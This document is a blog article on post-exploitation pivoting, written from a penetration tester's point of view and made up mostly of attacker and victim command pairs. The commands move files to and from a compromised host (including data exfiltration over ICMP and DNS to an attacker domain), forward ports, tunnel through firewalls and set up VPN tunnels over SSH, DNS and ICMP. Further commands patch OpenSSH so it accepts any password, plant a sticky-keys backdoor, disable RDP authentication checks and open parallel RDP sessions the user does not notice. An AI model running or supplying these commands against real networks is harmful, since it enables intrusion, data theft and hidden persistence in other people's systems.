Kung Fu pivoting. Post-exploitation to the maximum

Pivoting is an important stage of any pentesting research: the attacker establishes a foothold in the compromised system to use it as a bridgehead for further penetration. This article examines the basic pivoting techniques used nowadays.

In many ways, post-exploitation resembles ‘extreme administration’ and has little to do with cybersecurity. Any penetration test involves post-exploitation; otherwise it would make no sense. Generally speaking, post-exploitation includes the following sequential steps:

  • defense evasion (bypassing the antivirus software);
  • persistence (registration in the startup, creation of a service, etc.);
  • pivoting (foothold creation);
  • privilege escalation;
  • data gathering (collection of passwords, documents, etc.);
  • lateral movement (gaining access to other hosts);
  • full control over the compromised system (getting a GUI, installing a keylogger, scanning ports, etc.); and
  • cover-up (clearing logs and deleting the created files).

The order of this steps can differ depending on the situation; some of them (including pivoting) may even be unnecessary in certain cases. Each step deserves a separate article, but this overview covers only one of them: pivoting.

The primary purpose of pivoting is to bypass network-level firewalls and other obstacles preventing the data transfer between the attacker and the victim (e.g. port filtering or NAT). To solve such problems, you don’t necessarily have to use port forwarding or tunneling. Getting a GUI in Windows may also be a serious problem because some programs don’t have a console interface.

Pivoting may be needed at any stage of the attack: from the inner network penetration when you have to bypass the DMZ restrictions to the moment when you have already gained the domain admin rights and need to penetrate into a heavily guarded local network. In this article, I will address the most innocent-looking tricks (so that you won’t be detected by antiviruses) and concurrently the most universal ones (including the use of built-in commands and portable software). In addition, I will separately describe pivoting with and without admin rights. As usual, it’s assumed that the attacker uses a Linux PC.


  • The # character marks cases where you need the admin rights on the compromised OS.
  • The $ character marks cases where you don’t need such rights.

File transfer (infiltration and exfiltration)

The first problem the attacker encounters at the pivoting stage is file transfer. You may need to upload a privilege elevation exploit to a remote host, download a document or a memory dump, deploy a proxy server, etc… An important condition is that the data must be transmitted using only standard OS mechanisms. The available variants are described below.

Data exfiltration over TCP

The classical data transfer with netcat looks as follows:

attacker> nc victim 1234 < file
victim$> nc -nv -lp 1234 > file

The same variant with a reverse connection:

attacker> nc -nv -lp 1234 < file
victim$> nc attacker 1234 > file

This method is primarily designed for Linux. However, netcat may be not included in your Linux distribution. If so, you can use bash to transfer files:

attacker> nc -nv -lp 1234 < file
victim$> exec 3<> /dev/tcp/
victim$> cat <&3 > file

Of course, the files can be transferred in the reverse order (i.e. from the victim to the attacker) as well.

Data exfiltration over SMB

This is the easiest way to transfer files in Windows. To launch an SMB server, use the `impacket Python packet:

attacker> sudo smbserver.py ro /usr/share/windows-binaries/
victim$> copy \\attacker\ro\nmap.exe

Data exfiltration over HTTP

This is the easiest way to transfer files in Linux. To launch a web server in the current folder, use a built-in Python module:

attacker> python -m SimpleHTTPServer 8080
victim$> wget http://attacker/socat -O /tmp/socat

In many cases, HTTP is the only window to the outer world from the DMZ, and you have no choice but to use it on Windows systems, too. The most universal (even though not the most elegant) method is as follows:

victim$> hh.exe http://attacker/nmap.exe.txt
victim$> cd \users\victim\appdata\local\microsoft\windows\
victim$> dir /s nmap.exe*
victim$> cd path_to_folder
victim$> move nmap.exe[1].txt nmap.exe

This technique allows to send a .txt file with any content. But if the remote host runs Windows 7 or a newer Windows version, it’s easier to use PowerShell:

victim$> powershell -c (new-object System.Net.WebClient).DownloadFile('http://attacker/nmap.exe','C:\users\victim\desktop\nmap.exe')

In addition, if the host runs a more or less up-to-date Windows 7, you can use a very useful utility that is repeatedly mentioned further in the text:

victim$> certutil -urlcache -split -f http://attacker/nc.exe.txt nc.exe.txt

Aside from the described-above methods, there are several other techniques (e.g. downloading with VBS or PowerShell), but they are more cumbersome and rarely used in real life.

Data exfiltration over FTP

This method works well for Windows when the SMB ports are filtered. Admins often filter ports 445/TCP in internal networks between VLANs, which complicates further the attacker’s life. You can overcome this using the oldie-goodie FTP protocol. To start an FTP server in the current folder, use the pyftpdlib Python package:

attacker> sudo python -m pyftpdlib -p 21

Because the FTP client is interactive, you have to create a short script with commands on the victim PC:

victim$> echo open attacker 21 > ftp.txt
victim$> echo anonymous>> ftp.txt
victim$> echo pass>> ftp.txt
victim$> echo bin >> ftp.txt
victim$> echo GET nmap.exe >> ftp.txt
victim$> echo bye >> ftp.txt
victim$> ftp -s:ftp.txt

Important: there must be no space between the login and the password when you transmit them.

Data exfiltration over TFTP

This file transfer technique is pretty exotic, but still worth mentioning. To launch an TFTP server, you may use either the classical atftpd or ptftpd Python package.

attacker> sudo ptftpd -p 69 eth0 .
victim#> pkgmgr /iu:TFTP; tftp.exe -i GET nc.exe
victim$> tftp attacker get /nc

Data exfiltration over ICMP

If TCP is completely prohibited, ICMP comes to help. This method is suitable for exfiltration (i.e. for data transfer from the victim to the attacker). In Linux, this can be done relatively easily:

victim$> xxd -p -c 4 secret.bin | while read line; do ping -c 1 -p $line attacker; done

In the above example, only 4 bytes are transferred with one packet. In Windows, you can use PowerShell and any of the scripts available on the Internet.

DNS data exfiltration

If you have to use DNS, it means that everything (or almost everything) on the attacked host is filtered. Still, any isolated internal network must somehow interact with the outer world (e.g. use Internet to download updates or send e-mails). Therefore, in most cases, DNS is used to resolve external addresses. Pretty often, admins don’t bother themselves with compiling whitelists of permitted domains, thus, providing you with a two-way data transfer channel.

I suggest using premade scripts. Here and in the subsequent DNS-related sections, it’s assumed that you have delegated to yourself the attacker.tk zone. So, you launch a custom DNS server:

attacker> sudo ./dns_upload.py --udp --file dnscat.exe

Important: you have to remember the number of required DNS queries. To download a file over DNS, use the short script written in VBS (because this is the most portable script that works on any Windows version). Prior to the start, don’t forget to adjust the number of DNS queries in the for loop. The script is launched as follows:

victim$> cscript.exe dns_download.vbs

Even though you are now able to download any file and can use precrafted solutions (e.g. dnscat), sometimes antiviruses create problems when you try to grab something (e.g. a LSASS dump) from the compromised PC. Therefore, I suggest using similar scripts for data exfiltration:

attacker> sudo ./dns_download.py --udp --file out.bin
victim$> cscript.exe dns_upload.vbs c:\path\to\secret.bin attacker.tk

On Linux systems, use the following command:

victim$> ./dns_download.sh attacker.tk 1080 /tmp/dnscat

Overall, the DNS method works well, but it’s too slow if you have to transmit large file.

Plaintext exfiltration

In most cases, it’s possible to transfer files in the form of plain text. If you have a shell, you normally can insert a large data array into it using the clipboard. The data must be in the text format. Sometimes large portions of data cannot be transmitted. Therefore, depending on the size of the transferred file, it should be first split into pieces whose size doesn’t exceed the permitted limit:

attacker> split -b $[1*1024*1024] nmap.zip

As a result, you get several files 1 MB in size, and each of them begins with x*. I suggest using Base64 as the transformation method:

attacker> base64 -w 0 < xaa > xaa.txt

When the transfer is complete, the initial file is assembled back from the pieces. In Linux, this looks as follows:

victim$> for i in x*; do base64 < $i > $i.txt; done
victim$> cat x*.txt > nmap.zip

In Windows, it’s not that simple, and various techniques can be used to perform this task. Below is a classical method suitable for rare versions of Windows:

attacker> wine exe2bat.exe someprog.exe commands.bat

The resultant bat file is constituted by ready-to-use commands consisting entirely of printable characters. The built-in debug.exe component is used to assemble the source binary code from the textual representation (in this example, Hex); this component is present only in 32-bit versions of Windows from XP to 7.

Below is a modern technique suitable for Windows 7-10 and similar server Windows versions:

victim$> certutil -decode content_base64.txt nmap.exe

In the above examples, you might have to split the transmitted file into several pieces (if its size is too large). To assemble the resulting binaries into one file in Windows, use the command:

victim$> type xaa.bin xab.bin xac.bin > 1.exe

But what if you have to download large binaries (e.g. a memory dump) from the victim PC to the attacker PC? The easiest way to split such a file is to use 7zip: it doesn’t require installation and can be dropped on the target PC with just two files: 7z.exe and7z.dll:

victim$> 7z a -v1m out.7z hugefile.bin

Then the resultant binary pieces can be encoded in Base64…

victim$> certutil -encode 1.bin 1.txt

…and transmitted through the respective channel.

So, the file delivery problem is solved. Now you can transmit all the necessary programs to the target host. In Windows, portable versions are preferable for obvious reasons. In Linux, it’s recommended to use statically compiled programs to avoid problems with library versions. Because it’s possible to compromise not only a server, but a router or other device as well, I suggest having at hand statically compiled binaries for different architectures (at least, for the most popular ones: x86, ARM, and MIPS).

Port forwarding

Port forwarding is probably the easiest pivoting technique. There are many ways to forward a port somewhere. For instance, all you need for simple port forwarding is an amazing utility called socat:

victim$> socat.exe tcp-listen:4445,fork tcp-connect:target:445
Simple port forwarding
Simple port forwarding

The socat utility has been ported on Linux and has the same the syntax as in Windows. In fact, the capacity of this program is much greater than simple redirection (see below).

If the attacker has the admin or root rights on the compromised PC, redirection can be performed using firewall means. In Windows, this looks as follows:

victim#> netsh interface portproxy add v4tov4 listenport=4445 listenaddress=victim
connectport=445 connectaddress=target

In Linux, as shown below:

victim#> iptables -t nat -A PREROUTING -p tcp --dport 4445 -j DNAT --to-destination target:445

Local port forwarding

Speaking of port forwarding, I cannot omit SSH – a flexible solution often used for this purpose. In fact, SSH performs not a standard redirection: it creates tunnels making it possible to use a connection repeatedly by forwarding a new network connection inside an already established one. Important: both the server and the client can act as a link performing port forwarding.

If an SSH server is running on the victim PC (regardless of its OS), port forwarding is performed as follows:

attacker> ssh -N user@victim -L 4445:target:445
Port forwarding involving SSH
Port forwarding involving SSH

Remote port forwarding

The only difference between remote port forwarding and local port forwarding is that the procedure is performed from the SSH server. Accordingly, the forwarding direction is opposite to the established SSH connection.

Remote port forwarding is a useful solution if you need to establish an exfiltration channel from the victim via the attacker (for instance, to install the required packages by downloading them on a compromised host isolated from the Internet via a proxy). But in most situations, remote port forwarding is used if there is no SSH server on the victim PC or the port is being filtered. In that case, you can still forward the port from the attacker PC – but at the initiative of the victim.

First, start an SSH server on your machine and create a fictitious account:

attacker> sudo /etc/init.d/ssh start
attacker> useradd -M -N -d /dev/null -s /bin/false proxy
attacker> passwd proxy

Use keys to log on noninteractively over SSH:

victim$> chown user priv_key
victim$> chmod 0400 priv_key

And now forward the port using the backconnect scheme:

victim$> ssh -i priv_key proxy@attacker -N -R 4445:target:445 -o StrictHostKeyChecking=no
Backconnect port forwarding
Backconnect port forwarding

This method also allows to bypass a firewall or NAT. On Windows systems, you likely won’t encounter SSH servers; so, use a portable client for remote port forwarding:

victim> plink.exe -N -l proxy -pw passwd -R 4445:target:445 attacker -P 22

As a result, you get a configuration identical to the one shown above. As can be seen from the picture, the client performs the forwarding function in the case of local port forwarding, while the server does this in the case of remote port forwarding.

Metasploit allows to forward ports using the connection between the victim and the attacker (i.e. tunneling). To build the tunnel attacker:4445 → victim → target:445, use the following command:

meterpreter> portfwd add -L -l 4445 -r target -p 445

To build the tunnel victim:6666 → attacker → target:8888, type:

meterpreter> portfwd add -R -L target -l 8888 -p 6666

Bypassing two firewalls at once

Attackers often encounter well-isolated VLANs: the attacker and the victim are on different networks hidden behind a firewall or NAT and cannot directly establish connections in either direction.

The attacker and the victim are on different networks behind a firewall or NAT
The attacker and the victim are on different networks behind a firewall or NAT

Neither a reverse shell nor SSH are of any use in such a situation. As an alternative, you may set up access to a ‘third’ host located on another VLAN that can be accessed both by the attacker and the victim over a TCP connection.

Connection via a third host
Connection via a third host

Normally, it’s not a problem to find such a host. Of course, by itself, the third host cannot penetrate the firewall and reach to the attacker or to the victim. To solve this problem, use the following trick:

third$> socat tcp-listen:5555 tcp-listen:6666
victim$> socat tcp-connect:third:6666 tcp-connect:target:22
Connection via an interim host
Connection via an interim host

It’s important to initiate the connection to 5555/tcp first because socat performs the second part of the operation with sockets (tcp-listen:6666) after establishing the tcp-listen:5555 connection. As a result, the two incoming connections are connected through a pipe, and the traffic goes through this pipe bypassing the two firewalls or NATs.

Bypassing firewalls and NATs
Bypassing firewalls and NATs

As a result, the attacker gains access to port 22 on the target PC hidden behind the firewall.


Time to examine a difficult, but pretty typical case: the compromised network has no Internet access, and you have to use DNS again.

The dns2tcp utility is available both for Windows and Linux, and it uses a SSH-like port forwarding syntax. On the server side, you specify in dns2tcpdrc the following settings for the attacker:

listen =
port = 53
user = nobody
key = s3cr3t
chroot = /var/empty/dns2tcp/
domain = attacker.tk

Then you launch the utility:

attacker> sudo ./dns2tcpd -F -d3 -f dns2tcpdrc

The client side has to be copied to the victim PC. To forward the traffic along the route victim:4444 → attacker → target:5555, run the utility with the following parameters:

victim$> dns2tcpc.exe -z attacker.tk -k s3cr3t -t 3 -L 4444:target:5555

To forward the traffic along the route 4445 → victim → target:445, run dns2tcp as shown below:

victim$> dns2tcpc.exe -z attacker.tk -k s3cr3t -t 3 -R 4445:target:445

Now you can use this tunnel for proxying or establish a meterpreter session and forget about the absence of Internet access.


Port forwarding has a limitation: it’s a static operation, and you have to do a separate forwarding for each ip:port combination. Normally, you need this only at the initial stage to bypass the firewall. But if you need a fully functional and handy access to a network segment via the compromised PC, you have to use a proxy.


In simple situations, the best solution is 3proxy. The utilities included in this set are portable and don’t require installation or admin rights. They work smoothly both on Windows and Linux systems and can be easily cross-compiled. To start a SOCKS proxy server, use the following commands (in Linux and Windows, respectively):

victim$> ./socks -d -p3128
victim$> socks.exe -d -p3128

To launch an HTTP-connect proxy server, use the following commands (in Linux and Windows, respectively):

victim$> ./proxy -d -p8080
victim$> proxy.exe -d -p8080

If the antivirus blocks 3proxy, you may try one of the Nmap utilities:

victim$> ncat.exe -vv --listen 3128 --proxy-type http

If it doesn’t help, switch to SSH.


Going back to SSH, I must mention one previously overlooked point. If you cannot gain root privileges on the compromised host, a number of problems immediately arise. First, you must know the password to the current account, which may be unknown. Second, if SSH isn’t running, you need root privileges to launch it. But fortunately, all these issues can be rectified as follows:

attacker> git clone https://github.com/openssh/openssh-portable

Then you patch the function responsible for authentication:

int auth_shadow_pwexpired(Authctxt *ctxt){
return 0;
int sys_auth_passwd(struct ssh *ssh, const char *password){
return 1;

Next, you build the tool (better to do this statically to avoid dependence-related problems):

attacker> autoreconf
attacker> LDFLAGS='-static' ./configure --without-openssl
attacker> make
attacker> ./ssh-keygen

You slightly alter sshd_config:

Port 2222
HostKey /path/to/here/ssh_host_rsa_key

Then you copy the utility and run it on the victim PC:

victim$> $(pwd)/sshd -f sshd_config

Now the SSH server can act as a proxy server without root privileges, and you can use any password to log on to it.

On Windows systems, you likely won’t encounter an SSH server, but you can use freeSSHd as a proxy server (important: you will need the admin rights for this). FreeSSHd is an excellent alternative to 3proxy and meterpreter if the antivirus doesn’t allow you to run suspicious programs.

Below is an example of penetrating a network perimeter. Imagine that you have gained access to the server from the DMZ. Normally, attackers forward only the essential ports to such servers; so, you cannot connect to the proxy directly. In such a situation, the best solution is to use port tunneling:

victim$> ssh -N proxy@attacker -R 2222:victim:22

Now attacker:2222 is forwarded to victim:22, and a proxy is created through this tunnel:

attacker> ssh -ND -p2222

In the case of success, a SOCKS proxy will appear on TCP port 3128 on the attacker machine. In fact, this is a tunnel inside another tunnel.

SOCKS proxy acts as a tunnel inside another tunnel
SOCKS proxy acts as a tunnel inside another tunnel

If there are no antivirus-related problems, then you can use Metasploit, which is much easier:

meterpreter> run autoroute -s
msf> use auxiliary/server/socks4a

Using proxy

To use a proxy on the attacker’s side, you can either:

  • specify the proxy’s address in the settings of a specific program (the problem is that not all apps support proxies); or
  • forcibly proxy any app (this is called “socksification”).

The following command enables socksification:

attacker> proxychains nmap -sT -Pn -n

This solution is suitable for almost all apps, even for those that don’t support proxy configuring because they override the library calls connect (), send () and recv (). However, there is a nuance: programs that generate packets using raw sockets or don’t use the libc library (i.e. statically compiled ones) don’t support proxying.

In addition, you can employ transparent proxying using the redsocks TCP-to-proxy redirector. To configure it, add the following code to /etc/redsocks.conf:

local_ip =;
local_port = 12345;
ip =;
port = 3128;

Then you can launch a proxy:

attacker> sudo iptables -t nat -A OUTPUT -p tcp -d -j REDIRECT -to-ports 12345
attacker> sudo redsocks -c /etc/redsocks.conf
attacker> nmap -sT -Pn -n

Now you can send packets directly to the target network. The iptables will intercept them transparently for you and redirect to redsocks, which, in turn, will redirect the packets directly to the proxy server. However, raw sockets still cannot be used because they are generated outside of the iptables and routing.

Proxying has the following shortcomings:

  • only OSI layers higher than 4 can be proxied;
  • the speed of new connections is low (accordingly, the ports are scanned slowly); and
  • mostly TCP packets are proxied.

To get rid of these problems, you need a fully functional VPN tunnel.

VPN tunnels

The purpose of VPN tunnels is to grant the attacker full access to the internal network or an isolated VLAN and create conditions for further penetration. To use tunnels, you must have the admin or root rights.

VPN tunnel over TCP with one command (L3 tunnel)

In Linux, a tunnel can be created in an elegant manner without using the configurable VPN server:

attacker> sudo pppd noauth pty 'nc -klp 5555'
victim#> pppd noauth persist pty 'nc attacker 5555'

The tunnel is up an running. To transform the victim PC into a gateway, type:

victim#> echo 1 > /proc/sys/net/ipv4/ip_forward
victim#> iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Voila! Now you can direct traffic to the internal network using only routing:

attacker> sudo route add -net dev tun0

Important: pppd allows to create a tunnel at the initiative of any side (either the victim or the attacker), which means that you can circumvent problems caused by inter-network screens. The use of this feature requires kernel support (the ppp_generic module).

Tunnels can also be created using IPIP:

attacker> sudo ip tunnel add tun0 mode ipip remote victim local attacker dev eth0
attacker> sudo ifconfig tun0 pointopoint
victim#> ip tunnel add tun0 mode ipip remote attacker local victim dev eth0
victim#> ifconfig tun0 pointopoint

VPN tunnel over SSH (L2/L3 tunnels)

If an SSH server is running either on the victim PC or the attacker PC, you can create a VPN. First, you have to permit connections in /etc/ssh/sshd_config:

PermitTunnel point-to-point

Then you create a connection:

attacker> sudo ssh -N tun@victim -w 0:0
attacker> sudo ifconfig tun0 pointopoint
victim#> ifconfig tun0 pointopoint
attacker> sudo route add -net dev tun0
victim#> echo 1 > /proc/sys/net/ipv4/ip_forward
victim#> iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

An L3 tunnel is sufficient to gain access to the target network. But if your goal is not only to scan ports but deliver attacks (e.g. ARP/NBNS/DHCP spoofing), you will need an L2 tunnel. To create it, add the following option to /etc/ssh/sshd_config:

PermitTunnel ethernet

Then restart the SSH server and connect:

attacker> sudo ssh root@victim -o Tunnel=ethernet -w any:any
victim#> brctl addbr br0; brctl addif br0 eth0; brctl addif br0 tap0; ifconfig eth0 0 promisc; ifconfig br0
attacker> sudo dhclient tap0

Important: maximum caution must be exercised when working with L2 tunnels – the remote host may go offline forever due to any slight mistake made during the bridge creation.

VPN tunnels in Windows

A good thing is that Windows supports VPN (in the PPTP/L2TP variant) out of the box. Furthermore, a built-in component allows to control it in the command line mode.

victim#> rasdial.exe netname username * /phonebook:network.ini

The config for network.ini looks as follows:


To disable a VPN connection, use the command:

victim#> rasdial netname /disconnect

Classical OpenVPN works smoothly both on Linux and Windows. If you have the admin rights, you shouldn’t encounter any issues with it.

Another efficient (even though somewhat exotic) L2 tunneling method for Windows is described in my previous article.

VPN tunnel over ICMP

If Internet access is prohibited but pings are permitted, you can use the hans utility to create an L3 tunnel ( on the attacker PC and on the victim PC) with two commands:

attacker> sudo ./hans -s -p passwd
victim#> ./hans -c attacker -p passwd -a

The client side for Windows works similarly, but you’ll need a tap interface (it can be created using OpenVPN).

VPN tunnel over DNS

If the DNS settings allow to resolve arbitrary domains (which happens quite often), then you can create a fully functional L3 tunnel ( on the attacker PC and172.16.0.2 on the victim PC) using iodine:

attacker> sudo ./iodined -f -P passwd attacker.tk
victim#> ./iodine -f -P passwd attacker.tk

VPN tunnels can be established both directly between the attacker and the victim or using various combinations of port forwarding techniques. For instance, instead of a DNS tunnel created with iodine, you can use the DNS2TCP + pppd combination.

Concluding this section, I would like to note that although VPN tunnels provide comfortable access to the target network, their creation isn’t a mandatory pentesting procedure. If, for some reason, you cannot do this quickly and easily, it’s unpractical to spend time and effort on troubleshooting. In most cases, the oldie-goodie traffic proxying is sufficient.


GUI programs cause numerous problems at the post-exploitation stage. Of course, a true hacker always prefers the command line mode, but in real life you cannot get rid of GUI completely.

In Linux, GUI is rarely required at the post-exploitation stage: almost all programs have CLI, while the system normally acts as the server. In addition, the OS offers flexible GUI-related solutions.

In Windows, the situation is different. The majority of the programs simply don’t support a console interface. In most cases, a GUI is required to configure the system. The same applies to some hacking utilities written for Windows. On the one hand, Windows always has a built-in RDP for remote graphical sessions; but on the other hand, on client versions of Windows (i.e. the most widespread ones), their usage blocks the session of the current user. In response, that user starts interrupting your session, which inevitably attracts the attention of the cybersecurity department.

Quick GUI session

There is an old but efficient trick called “sticky keys”: it allows you to run programs without logging into Windows:

victim#> reg add 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe' /v Debugger /t reg_sz /d '\windows\system32\cmd.exe'

I recommend to use this method with the command-line interpreter and not replace the file cmd.exesethc.exe (because antiviruses sometimes detect this).

If RDP is disabled for some reason, you can perform the following operation:

victim#> reg add 'HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fDenyTSConnections /t REG_DWORD /d 0 /f
victim#> sc config TermService start= auto
victim#> net start TermService
victim#> netsh.exe firewall add portopening TCP 3389 'Remote Desktop'
victim#> netsh advfirewall firewall add rule name='Remote Desktop' dir=in action=allow protocol=TCP localport=3389

Also, make sure that there is no NLA on the remote host:

victim#> reg add 'HKLM\system\currentcontrolset\control\Terminal Server\WinStations\RDP-Tcp' /v UserAuthentication /t REG_DWORD /d 0x0 /f

This method is simple and elegant: you connect via RDP and, instead of logging in, press Shift five times.

Connecting via RDP without interrupting the user session
Connecting via RDP without interrupting the user session
The method works both for Windows XP and 10
The method works both for Windows XP and 10

This trick has helped me many times when it was necessary to launch a GUI program.

Too bad, the method has a drawback: it’s impossible to establish a fully functional RDP session when the program is launched this way; so, you only have a couple of minutes prior to disconnection due to the timeout. In some situations, this is sufficient. But what if not?

Parallel access via RDP

As said above, the main problem is to avoid blocking the session of the logged-in user. There are several solutions that patch termservice and remove the limit on the number of sessions opened simultaneously. The most reliable variant is rdpwrap: you patch RDP and make it multisessional with one command:

victim#> RDPWInst.exe -i -s

Unfortunately, this tool doesn’t support Windows XP; so, use another solution for it:

victim#> termsrv_patcher.exe --patch

Now you can log in via RDP using a temporary local account or a domain account and open shortcuts on the victim’s desktop while the unsuspecting user continues working in their session:

attacker> rdesktop victim


Pivoting is an important phase at the post-exploitation stage. I tried to cover the pivoting-related topics in chronological order.

  • file transfer;
  • port forwarding and bypassing firewalls; and
  • gaining access to the network via a proxy or VPN.

Of course, in real life, you may encounter more specific cases. Still, using combinations of the above-described techniques, you can get any situation under control.

Insufficient pivoting may result in a failure. Imagine a situation: the target system is hacked, the required privileges are gained, but the final goal cannot be achieved due to some technical formalities (e.g. the attacker was behind a NAT and could not get a reverse shell; or a program could not be launched because a GUI was required for this, while the user was continuously logging out of the RDP session).

As you can see, many pivoting tricks don’t require the admin or root privileges.

According to a stereotype opinion, after gaining access to the system, it’s imperative to escalate your privileges. Of course, it’s always good to have the admin rights. However, there were two illustrative cases in my experience when Linux and Windows systems were penetrated without superuser rights. Quick privilege escalation attempts failed, and then it turned out that this wasn’t really necessary. Even without the admin rights, attacked systems could be used to forward traffic to the internal network – where the attacker has a good chance to find a vulnerable component and gain full rights. As a result, in both cases, the domain controllers were taken over, as well as the entire internal infrastructure.

Even an insignificant RCE may lead to fatal consequences for the corporate infrastructure. Neither firewalls nor other preventive measures can stop a hacker who managed to penetrate into the network.


Senior offensive security researcher in USSC. OSCP|OSCE holder.

One Response to “Kung Fu pivoting. Post-exploitation to the maximum”

Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>